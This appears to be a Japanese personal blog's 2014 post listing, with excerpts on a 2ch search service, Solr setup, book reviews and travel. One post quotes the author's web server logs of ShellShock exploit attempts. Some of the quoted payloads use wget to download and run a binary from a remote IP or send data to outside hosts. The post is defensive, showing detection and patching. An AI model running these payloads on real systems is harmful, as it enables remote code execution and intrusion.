2014年のUstreamを年間でまとめてみました。

日本のUstreamのデータを蓄積しているUstweetのデータを使って、2014年の一年間を通しての、日本のUstreamのランキングを取ってみました。

週間ランキングでお馴染みの、チャンネル毎のツイート数・ツイートユーザー数に加え、 視聴数の伸びも加えました。公開はしていないのですが、Ustweetでは2014年より視聴数の記録も一応しています。

既に企業と有名人と極小のコアユーザーしか使わなくなっているような Ustream ですが、一体どこまで続けられるものでしょうかね。

続きは (http://ustweet.net/matome/2014/index) で。

明るすぎるスマホ画面を暗くするカバーを自作する

お布団のそば、枕もとまでスマートフォンを持っていって寝る前にポチポチ。
横になってからも中々眠れず、またポチポチ。
そんなことをやっている依存症な人は割りと多いんじゃないかと思います。

枕元でスマホを触っていると、
いくら輝度(明るさ)を最低まで落としていても明るすぎて
全然眠くならない、困った、という人へ。

寝るときだけ簡単に装着できる、画面を暗くするカバーをオススメします。
売っていないので自作ですが、実際に使っているものを紹介します。

2ch検索「re.Find2ch」の2014年10月のアクセス推移(8ヶ月目)

というわけで久しぶりの更新です。
re.Find2ch(2ch横断検索) は、3ヶ月くらい前の10万PV程度と比べると、3倍の30万PVまで伸びました。

訪問者のデバイスは、PC : モバイル の割合がほぼ半々くらいになっています。
以前より随分モバイルの割合が増えていますね。

流入元の割合は、検索が65%、リンクが17%、直接が18%といったところです。

2014年10月のre.Find2chのアクセス推移

ピーク時には、Google Analytics リアルタイムのアクティブユーザーで300超を記録しました。さくらのVPS 2G プランを使っていますが、充分に捌けているようです。
(ほぼキャッシュへのアクセスで、ユニークなクエリでの検索サーバへのアクセスではないですが)

リアルタイムアクティブユーザー数

bash 脆弱性「ShellShock」の試行を示すHTTPアクセスログ

httpdのアクセスログを対象に以下のコマンドを実行してみると、結構ボロボロ出てきて怖い。
管理するサイトに来ている bash の脆弱性「ShellShock」にあたる攻撃の跡です。

ひとまず yum update bash で対処。mod_security も入れるべきかな。

grep '()' /var/log/httpd/access_log /var/log/httpd/ssl_access_log

ログの一部。
※外部URLを指定されているログは、リンクを防ぐために「http」を抜いています。

209.126.230.72 - - [25/Sep/2014:12:49:42 +0900] "GET / HTTP/1.0" 200 78 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)”
89.207.135.125 - - [25/Sep/2014:18:49:42 +0900] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 224 "-" "() { :;}; /bin/ping -c 1 198.101.206.138”
54.251.83.67 - - [28/Sep/2014:01:57:22 +0900] "GET / HTTP/1.1" 200 78 "-" "() { :;}; /bin/bash -c \"echo testing9123123\"; /bin/uname -a"
24.251.197.244 - - [25/Sep/2014:20:17:42 +0900] "GET / HTTP/1.1" 200 17487 "-" "() { :; }; echo -e \"Content-Type: text/plain\\n\"; echo qQQQQQq"
166.78.61.142 - - [26/Sep/2014:00:54:52 +0900] "GET / HTTP/1.1" 200 17467 "-" "() { :;}; echo shellshock-scan > /dev/udp/pwn.nixon-security.se/4444”
82.221.105.197 - - [29/Sep/2014:06:18:49 +0900] "GET / HTTP/1.1" 200 78 "-" "() { :;}; /bin/bash -c \"wget 82.221.105.197/bash-count.txt\""
93.103.21.231 - - [26/Sep/2014:08:40:00 +0900] "GET / HTTP/1.1" 200 17306 "-" "() { :;}; wget 'taxiairportpop.com/s.php?s=example.com/'"
62.210.75.170 - - [29/Sep/2014:18:23:46 +0900] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.1" 404 224 "() { :; }; wget creditstat.ru/ZmJzZWFyY2gubmV0U2hlbGxTaG9ja1NhbHQ= >> /dev/null" "() { :; }; wget creditstat.ru/ZmJzZWFyY2gubmV0U2hlbGxTaG9ja1NhbHQ= >> /dev/null”
94.102.60.177 - - [26/Sep/2014:22:59:10 +0900] "GET /cgi-bin/test.cgi HTTP/1.1" 404 214 "-" "() { x;};echo;echo 123456ololo | md5sum"
83.166.234.133 - - [27/Sep/2014:11:21:09 +0900] "GET / HTTP/1.0" 200 17553 "-" "() { :;}; /bin/bash -c \"wget -q -O /dev/null ad.dipad.biz/test/example.com/\”"
70.42.149.72 - - [27/Sep/2014:11:58:11 +0900] "GET / HTTP/1.0" 200 78 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\”"
54.251.83.67 - - [28/Sep/2014:01:57:22 +0900] "GET / HTTP/1.1" 200 78 "-" "() { :;}; /bin/bash -c \"echo testing9123123\"; /bin/uname -a”
82.221.105.197 - - [29/Sep/2014:06:18:49 +0900] "GET / HTTP/1.1" 200 78 "-" "() { :;}; /bin/bash -c \"wget 82.221.105.197/bash-count.txt\""
8.37.217.197 - - [29/Sep/2014:18:42:37 +0900] "GET /search HTTP/1.1" 404 - "-" "() { :;};echo content-type:text/plain;echo;echo QwaAqdKyMkdAiaZBos;echo;exit"
8.37.217.199 - - [29/Sep/2014:18:42:37 +0900] "GET /search HTTP/1.1" 404 - "-" "() { :;};echo content-type:text/plain;echo;echo QwaAqdKyMkdAiaZBos;echo;exit"

 
 
 
この辺りを参考にして対処。

bashの脆弱性(CVE-2014-6271) #ShellShock の関連リンクをまとめてみた

2ch検索「re.Find2ch」で まちBBS と VIPサービスの主要板の検索に対応

refind2ch.org の検索対応サイトを増やしました。

2ちゃんねるについては本家くらいしか知らなかったのですが、refind2ch.org を作る過程で調べていたら類似サイトが沢山あるものですね。

  • VIPサービスの主要板
    パート速報VIP、製作速報VIP、SS速報VIP、なんでも実況板
    たぶんコレが主な掲示板だと思うのですが、一応この4つを。
    避難所とかが沢山あるみたいです。
  • まちBBS
    この掲示板は提供が sc の運営陣ということで対応するかはかなり迷いました。
    一応コピーサイトではないということで。

どちらもクロール頻度は低めですが、まぁ大丈夫でしょう。

五山の送り火

毎年、この時期(お盆)になると、京都では五山の送り火がある。

五山の送り火とは、京都の山で行われる、以下の漢字または絵を象った篝火(かがりび)のことだ。

  • 「大文字」の「
  • 「松ヶ崎妙法」の「」「
  • 「舟形万灯籠」の舟の絵
  • 「左大文字」の「
  • 「鳥居形松明」の鳥居の絵

盆に家に帰ってきた先祖の霊を、また黄泉の国へ送り届けるとされる。

2ch検索「re.Find2ch」のアクセス推移(5ヶ月目)

2014年3月に 2ch の現行スレッド検索サービス refind2ch.org を作って、だいたい5ヶ月経ちました。ここまでのアクセス状況や収益などをちょっとまとめてみようかと思います。

Google Analyticsでユーザの操作を詳しく追跡する、一歩進んだアクセス解析

ユーザーがクリックした外部リンクの URL や回数ボタンをクリックした回数ポップアップの仮想ウィンドウが表示された回数や参照元などを知りたいときがあると思います。

こういうユーザの操作は、JavaScript などでトラッキングして自身のデータベースサーバなどに記録すればと思いがちですが、Google Analytics のイベント トラッキングを使えば、これらを簡単に記録して管理できます。

Google Analytics を使うメリット

  • データ管理の仕組みを自前で用意する必要がない
  • ページを構成する要素内からなら、どこからでも使える(主にJavaScriptやFlash)
  • Google Analytics が使え、JavaScript も使える環境なら、大体使える
  • 結果は Analytics の管理画面でそのまま見れる(当然リアルタイムでも見れる)
  • 集計したデータを何らかの用途に利用したいときには、Google Analytics API が使える

【書評】リリエンタールの末裔(上田早夕里)

 
「リリエンタールの末裔」「マグネフィオ」「ナイト・ブルーの記録」「幻のクロノメーター」
以上の、上田早夕里さんの4つの作品集。

作品ごとに共通点はなく独立していて、総評を書くことは難しい。一つ一つがしっかりした世界観のもとに描かれているので、一編よみ終えるたび深く入り込んだ意識を現実に引き戻し、自分の中で咀嚼した上で、次の世界の扉を開くのには時間がかかった。

外部API利用の個人Webサービス・アプリの立ち上げと継続

いとも簡単に外部のビッグデータにアクセスできる API なんて珍しくもなくなりましたが、慣れた人には朝飯前のように作れる外部 API 利用のサービスで、できるだけ長く継続していくためにはどのようなことが必要か、考えてみました。

そういう記事は数年前に流行った気がしますが、私的なまとめとして改めて。

【書評】となり町戦争(三崎亜記)

 
三崎亜記さんの、第17回小説すばる新人賞受賞作。
何はともかく、となり町との戦争、である。レクリエーションでもオリエンテーションでもなく、人が死ぬ本物の戦争だ。

「となり町」という単語から連想されるイメージは、とても呑気で退屈、日々の生活の延長であり、そこには殺伐としたものは一切ない。表紙絵の、突き抜けるようにのどかな空を見ていたから、虚をつかれた。

はてなフォトライフで「000000000000000」というファイルが出来てしまう

はてなブログに写真を載せるために、はてなフォトライフでアップロードしていると、「000000000000000」と表示され失敗してしまう現象に遭った。

とりあえず、はてなのサポートにメールを送っておいたのだが、ちょっと検索して調べてみたところ、どうやらこの現象は Exif に関係するものではないかということらしい。

フォトライフの設定で「画像の表示順」が「撮影順」(デフォルト)になっていると、Exifに同じ年月日時分秒を撮影日時に持つ画像はフォトライフ上に複数存在できない。同じ撮影日時のファイルがアップロードされた場合、先に存在したファイルは確認すること無く上書きされる。
 
何でこんなことになっているかというと、アップロードされた画像のファイル名を撮影日時で作っているからだと思われる
 
引用元: はてなフォトライフの困った仕様

比叡山「つつじヶ丘」に行ってきた

2014年5月のことになるが、比叡山に行ってきた。

叡山電鉄の八瀬比叡山口駅で降り、ケーブルカーに乗る。
ケーブルカーでは山の中腹まで行ける。
ここから山頂までは、歩いて登っていくこともできるし、ロープウェーに乗り換えていくこともできる。

比叡山のケーブルカーの中から

【書評】どこから行っても遠い町(川上弘美)

 
川上弘美さん著、ある商店街に住む人々の、十一の短編からなる悲喜こもごもの物語。

一つの短編ごとに、商店街の住人である主人公がいて、彼らの生活や一生が描かれている。他の編で一文だけ登場した何気ない人物(そばを通り過ぎるだけだったり、職場の同僚であったり)が、後の短編では主人公として、秘められた思いが告白されていく。
読み進めるにつれ、街に住む人たちの多様な人生が見えてくるようになっている。
物語というより、彼らの記憶だ。

【書評】濡れ鳥/海辺のブドリ(じのん)

鴉(カラス)たちの生き様を描く、じのんさん jinon@twitter の短編小説。
Kindleアプリで初めて読む小説となった。

カラスたちの恋愛事情、縄張り争い、プライド。言ってしまえばコレだけなのだが、(短いだけでなく)どうにも読み進めずにはいられない感触を受けた。どこか既視感のようなものを感じたが、カラスという姿を取り去ってみれば、例えば荒野に住む人間の部族(モンゴルとか)の生き様に近いのかもしれないと思った。

ウェブサイトのSNS上でのシェア数を教えてくれるシンプルなサービス「SocialCounter」

Social Counter ロゴ

息抜きな気分で、シンプルなツールを作ってみました。(所要3日間くらい)

調べたい URL を入力すると、代表的な SNS(ソーシャル・ネットワーキング・サービス)や SBMS(ソーシャル・ブックマーク・サービス)でシェアされた回数を教えてくれる、シンプルなサービスです。

シェアボタンを置きたくないときや(面倒なときも)、置かれていないページのシェア数を知りたいときが時々あるので、さくっと調べられるようにしました。

Facebookの全体公開投稿は2015年に検索できなくなるかも

Facebookの、全体の公開投稿の検索は、非常に使えないことで有名ですが、どうやら来年2015年4月30日をもって完全に出来なくなる可能性が高いです。

FacebookのGraph API バージョン2.0が2014年4月30日に施行され、そのドキュメントが公開されていますが、非常に頭を抱える内容となっているようです。

APIの変更内容を公開しているページ「Facebook Platform Changelog」のトピック「April 30th, 2014 - API Version v2.0」(Graph APIの項目)を見てみると、

Public Post search is no longer available. (/search?type=post&q=foobar)
([公開投稿]の検索は利用できなくなりました。)

のように明記されています。
どうやら完全に終了させるつもりのようです。

【書評】ユニクロ帝国の光と影(横田増生)

 
僕が学生の頃、ユニクロというのは「ダサい」の代表格だった。「一つの季節が終るくらいまでなら使える」と言われるくらい素材も酷かった。
ところが今は知る通り、価格に見合わない高品質を誇っている。

この前見かけた「STETECO(ステテコ)」なんて、僕なんかは祖父から耳にしたことがあるくらいで、年寄りが着るものであり「ダサい」の最上級だった。それをオシャレに売り出しているところにも面食らった。いや、これが実際にどれだけ売れているのかは知らないが。

【書評】ロスジェネ心理学―生きづらいこの時代をひも解く(熊代亨)

 
自称オタク出身、ロスジェネ世代・精神科医(シロクマ先生)、熊代 亨の一冊。

象徴的な言葉に「思春期ゾンビ」というものが提示されている。いつまでも若々しいままで、若さにしがみついて、若くないものは悪しきもの、とでもいうような、思春期を引き摺ったままのコトを言う。

2ch検索で、おーぷん2ちゃんねるを検索できるようにしました

re.Find2ch で、おーぷん2ちゃんねるを検索できるようにしました。

元々データベースは複数サイトに対応できるようにしてなかったので、その辺りを組み直して。複数サイト横断と、今までの単一サイト検索にも対応できるよう設定項目を用意しました。

Apache Solrを使おうとして迷ったこと

Solrに送信した検索クエリは、対象のフィールド型に基いて分解した上で実行される

例えば、フィールド型 text_cjk (2-gram) への検索クエリを発行した場合、以下のようなリクエストになると思いますが、

localhost:8983/solr/core/select?q=さくら

(なお、クエリはURLエンコード処理すること)

Solrは受け取ったクエリ「さくら」を、対象のフィールド型に基いて 「さく」「くら」に分解し、それぞれの検索結果を返します。

Apache SolrのDigest認証とポート変更、アクセスログを記録する

全文検索エンジンのApache Solr (Lucene)を運用する際に、Solrの管理ページやAPI(select, update等)をDigest認証で守る方法です。

SolrはWebサーバとして動作するので、どんな言語環境からでもHTTP通信するだけで利用できるのが良いところ。
反面、ローカル環境にでも置かない限り、どこからでも接続ができてしまいます。
通信内容まで暗号化するSSL+Basic認証にするのが一番堅牢だと思いますが、ひとまずログインだけでも安全にしたいという場合に。

試した環境

  • Solrのバージョンは4.7.1
  • CentOS 6.5

前提条件

  • Solrの起動までは出来ていること
  • Linuxサーバ構築等の基本的な知識はあることが望ましい

2ch検索に、検索オプションを用意しました。

しばらく前に作った2chのスレッド検索サービスですが、検索のオプション設定を用意しました。

今まではスレッド作成日時順で表示していましたが、勢い順でも見れるようにしました。また、pink板(いわゆる大人向けの板)を除外できるようにしました。and検索も出来るようになりました。(恥ずかしながら、即興で作ったので前はできてなかった)

2ch(2ちゃんねる)のスレッドを検索できるサービスを作ってみた

2ちゃんねるをスレッドタイトルで横断検索できるサービス re.Find2ch を作ってみました。
※なお、スレッド本文は検索できません

facebook、Twitterと、色々と検索するサービスを作ってきて検索周りのノウハウが蓄えられてきていたので、新たに実験できないものかと材料を探していたところでした。

そこに、本家の検索サービスが突然使えなくなったというニュースが入ったので、一つ作ってみることにしました。
(現在はアドレスが変わって復旧している?みたいですね)

PAGE TOP